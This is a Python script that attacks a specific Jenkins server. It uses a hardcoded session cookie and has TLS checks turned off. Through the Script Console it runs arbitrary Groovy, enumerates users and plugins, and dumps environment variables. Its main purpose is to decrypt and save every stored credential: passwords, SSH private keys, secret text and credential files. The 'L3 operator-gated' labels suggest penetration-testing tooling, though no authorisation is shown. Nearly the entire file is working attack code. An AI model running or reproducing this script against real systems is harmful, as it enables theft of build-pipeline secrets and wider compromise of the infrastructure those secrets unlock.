#!/usr/bin/env python3
"""
L3 Jenkins Script Console — credential extraction.
Read-only enumeration + L3 value extraction (operator-gated).

Usage:
  python3 l3_script_console.py --list-plugins      # list plugins (read-only)
  python3 l3_script_console.py --list-creds         # list credential IDs (read-only)
  python3 l3_script_console.py --extract-creds      # EXTRACT actual secret values (L3!)
  python3 l3_script_console.py --system-env        # dump system env/props (L3)
  python3 l3_script_console.py --users             # list users (read-only)
  python3 l3_script_console.py --exec "<groovy>"    # exec arbitrary Groovy
"""
import sys
import urllib.request
import urllib.parse
import urllib.error
import ssl
import json
import re
import argparse

BASE = "https://jenkins.camel-soft.com"
COOKIE = "JSESSIONID.3cb5c8ef=node01ndmoz5yqoo7wekrqondgfhi01325.node0"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

def get_crumb():
    req = urllib.request.Request(BASE + "/")
    req.add_header("Cookie", COOKIE)
    with urllib.request.urlopen(req, timeout=25, context=ctx) as resp:
        html = resp.read().decode("utf-8", errors="replace")
    m = re.search(r'data-crumb-value="([^"]+)"', html)
    return m.group(1) if m else None

def run_groovy(script):
    crumb = get_crumb()
    if not crumb:
        return "ERROR: could not obtain crumb"
    data = urllib.parse.urlencode({"script": script}).encode("utf-8")
    req = urllib.request.Request(BASE + "/scriptText", data=data, method="POST")
    req.add_header("Cookie", COOKIE)
    req.add_header("Jenkins-Crumb", crumb)
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    try:
        with urllib.request.urlopen(req, timeout=60, context=ctx) as resp:
            return resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as e:
        return "HTTP " + str(e.code) + ": " + e.read().decode("utf-8", errors="replace")[:500]
    except Exception as e:
        return "ERROR: " + str(e)

# --- Groovy scripts (no GString ${} to avoid parser issues with ranges) ---

GROOVY_PLUGINS = (
    "Jenkins.instance.pluginManager.plugins.each { p ->\n"
    "  println(p.shortName + ' ' + p.version + ' enabled=' + p.enabled)\n"
    "}\n"
)

GROOVY_LIST_CREDS = (
    "println('=== CREDENTIALS ===')\n"
    "def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(\n"
    "  com.cloudbees.plugins.credentials.common.StandardCredentials.class,\n"
    "  Jenkins.instance, null, null)\n"
    "creds.each { c ->\n"
    "  println('ID=' + c.id + ' TYPE=' + c.class.simpleName + ' DESC=' + (c.description ?: '') + ' DISP=' + c.displayName)\n"
    "}\n"
)

GROOVY_EXTRACT_CREDS = r'''
println("=== CREDENTIAL VALUES ===")
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
  com.cloudbees.plugins.credentials.common.StandardCredentials.class,
  Jenkins.instance, null, null
)
creds.each { c ->
  println("---")
  println("ID=" + c.id)
  println("TYPE=" + c.class.simpleName)
  println("DISPLAY=" + c.displayName)
  println("DESCRIPTION=" + (c.description ?: ""))
  try {
    if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl) {
      println("USERNAME=" + c.username)
      println("PASSWORD=" + c.password.getPlainText())
    } else if (c instanceof com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey) {
      println("SSH_USER=" + c.username)
      println("SSH_PRIVATE_KEY_START")
      println(c.getPrivateKey())
      println("SSH_PRIVATE_KEY_END")
      def pp = c.getPassphrase()
      if (pp != null) {
        println("SSH_PASSPHRASE=" + pp.getPlainText())
      }
    } else if (c instanceof org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl) {
      println("SECRET_TEXT=" + c.getSecret().getPlainText())
    } else if (c instanceof org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl) {
      println("FILE_NAME=" + c.getFileName())
      println("FILE_CONTENT_START")
      println(c.getContent().getText())
      println("FILE_CONTENT_END")
    } else {
      println("UNKNOWN_TYPE=" + c.class.name)
      c.class.declaredFields.each { f ->
        if (!f.synthetic) {
          f.setAccessible(true)
          try {
            def v = f.get(c)
            if (v != null) {
              String vs = v.toString()
              if (vs.length() > 500) {
                vs = vs.substring(0, 500)
              }
              println("FIELD_" + f.name + "=" + vs)
            }
          } catch(Exception ex) {}
        }
      }
    }
  } catch(Exception ex) {
    println("EXTRACTION_ERROR=" + ex.getMessage())
  }
}
'''

GROOVY_SYSTEM_ENV = (
    "println('=== SYSTEM ENV ===')\n"
    "System.getenv().each { k, v ->\n"
    "  println(k + '=' + v)\n"
    "}\n"
    "println('=== SYSTEM PROPS ===')\n"
    "System.getProperties().each { k, v ->\n"
    "  println(k + '=' + v)\n"
    "}\n"
)

GROOVY_USERS = (
    "println('=== USERS ===')\n"
    "Jenkins.instance.getSecurityRealm().getAllUsers().each { u ->\n"
    "  def email = ''\n"
    "  try { email = u.getProperty(hudson.tasks.Mailer.UserProperty.class).address } catch(Exception ex) {}\n"
    "  println('ID=' + u.id + ' NAME=' + u.fullName + ' EMAIL=' + email)\n"
    "}\n"
)

def main():
    p = argparse.ArgumentParser()
    p.add_argument("--list-plugins", action="store_true")
    p.add_argument("--list-creds", action="store_true")
    p.add_argument("--extract-creds", action="store_true", help="L3: extract actual secret values")
    p.add_argument("--system-env", action="store_true")
    p.add_argument("--users", action="store_true")
    p.add_argument("--exec", metavar="GROOVY", help="execute arbitrary Groovy")
    args = p.parse_args()

    if args.list_plugins:
        print(run_groovy(GROOVY_PLUGINS))
    elif args.list_creds:
        print(run_groovy(GROOVY_LIST_CREDS))
    elif args.extract_creds:
        print("[!] L3 OPERATION: extracting credential values")
        result = run_groovy(GROOVY_EXTRACT_CREDS)
        print(result)
        with open("credentials_extracted.txt", "w") as f:
            f.write(result)
        print("\n[*] Saved to credentials_extracted.txt")
    elif args.system_env:
        result = run_groovy(GROOVY_SYSTEM_ENV)
        print(result)
        with open("system_env.txt", "w") as f:
            f.write(result)
        print("\n[*] Saved to system_env.txt")
    elif args.users:
        print(run_groovy(GROOVY_USERS))
    elif args.exec:
        print(run_groovy(args.exec))
    else:
        p.print_help()

if __name__ == "__main__":
    main()
